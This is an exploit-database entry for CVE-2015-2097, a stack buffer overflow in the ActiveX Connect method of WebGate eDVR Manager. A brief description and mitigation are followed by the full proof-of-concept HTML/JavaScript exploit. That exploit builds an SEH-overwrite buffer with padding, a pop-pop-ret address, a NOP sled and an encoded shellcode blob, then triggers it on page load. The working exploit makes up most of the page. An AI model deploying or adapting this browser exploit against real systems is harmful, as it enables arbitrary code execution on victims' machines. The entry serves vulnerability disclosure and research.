WebGate eDVR Manager Connect Method Stack Buffer Overflow

vendor:

eDVR Manager

by:

Praveen Darshanam

7.5

CVSS

HIGH

Stack Buffer Overflow

CWE

Product Name: eDVR Manager

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE: CVE-2015-2097

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows XP SP3 using IE8

2015

WebGate eDVR Manager Connect Method Stack Buffer Overflow

This exploit targets a stack buffer overflow vulnerability in the WebGate eDVR Manager software. By sending a specially crafted request to the Connect method, an attacker can overwrite the stack and potentially execute arbitrary code on the target system. The vulnerability has been assigned CVE-2015-2097.

Mitigation:

Update to the latest version of the WebGate eDVR Manager software to fix this vulnerability. Additionally, it is recommended to implement proper input validation and sanitization to prevent buffer overflow vulnerabilities.

Source

Exploit-DB raw data:

<html>
<!--
# Exploit Title: WebGate eDVR Manager Connect Method Stack Buffer Overflow
# Date: 01st April, 2015
# Exploit Author: Praveen Darshanam
# Vendor Homepage: http://www.webgateinc.com/wgi/eng/
# Software Link: http://www.webgateinc.com/wgi_htdocs/eng/dcenter/view.php?id=wgi_eng&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=531&category_group=4&category_product=74&category=174
# Tested on: Windows XP SP3 using IE8
# CVE : 2015-2097

targetFile = "C:\WINDOWS\system32\WESPSDK\WESPSerialPort.dll"
prototype  = "Sub Connect ( ByVal IPAddr As String ,  ByVal PortNum As Integer ,  ByVal UserID As String ,  ByVal Password As String )"
progid     = "WESPSERIALPORTLib.WESPSerialPortCtrl"
Tested on IE8
Author: Praveen Darshanam
http://blog.disects.com/
http://darshanams.blogspot.com/
P.S. Do not remove back slashes in shellcode and other variables
-->

<object classid='clsid:BAAA6516-267C-466D-93F5-C504EF973837' id='target'>
</object>
<script>

var arg1="PraveenD";
var arg2=1;
var arg3= "";
var arg4="PraveenD";

var nops = "";
var shellcode = "";
var buff2 = "";

for (i=0; i<1664; i++)
{
	arg3 += "B";
}
var nseh = "\xeb\x10PD";
//WESPSerialPort.dll(0x100104e7 = pop pop ret)
var seh = "\xe7\x04\x01\x10";
for (i=0;i<80; i++)
{
	nops += "\x90";
}
shellcode = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" +
"\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" +
"\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" +
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" +
"\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" +
"\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" +
"\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" +
"\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" +
"\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" +
"\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" +
"\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" +
"\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" +
"\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" +
"\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" +
"\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" +
"\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" +
"\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" +
"\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" +
"\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" +
"\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" +
"\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" +
"\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" +
"\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" +
"\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" +
"\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" +
"\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" +
"\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" +
"\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" +
"\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" +
"\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" +
"\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" +
"\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" +
"\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" +
"\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41";
for (i=0;i<(8000 - (arg3.length + nseh.length + seh.length + nops.length + shellcode.length)); i++)
{
	buff2 += "A";
}

fbuff = arg3 + nseh + seh + nops + shellcode + buff2;
target.Connect(arg1, arg2, fbuff ,arg4);

</script>
</html>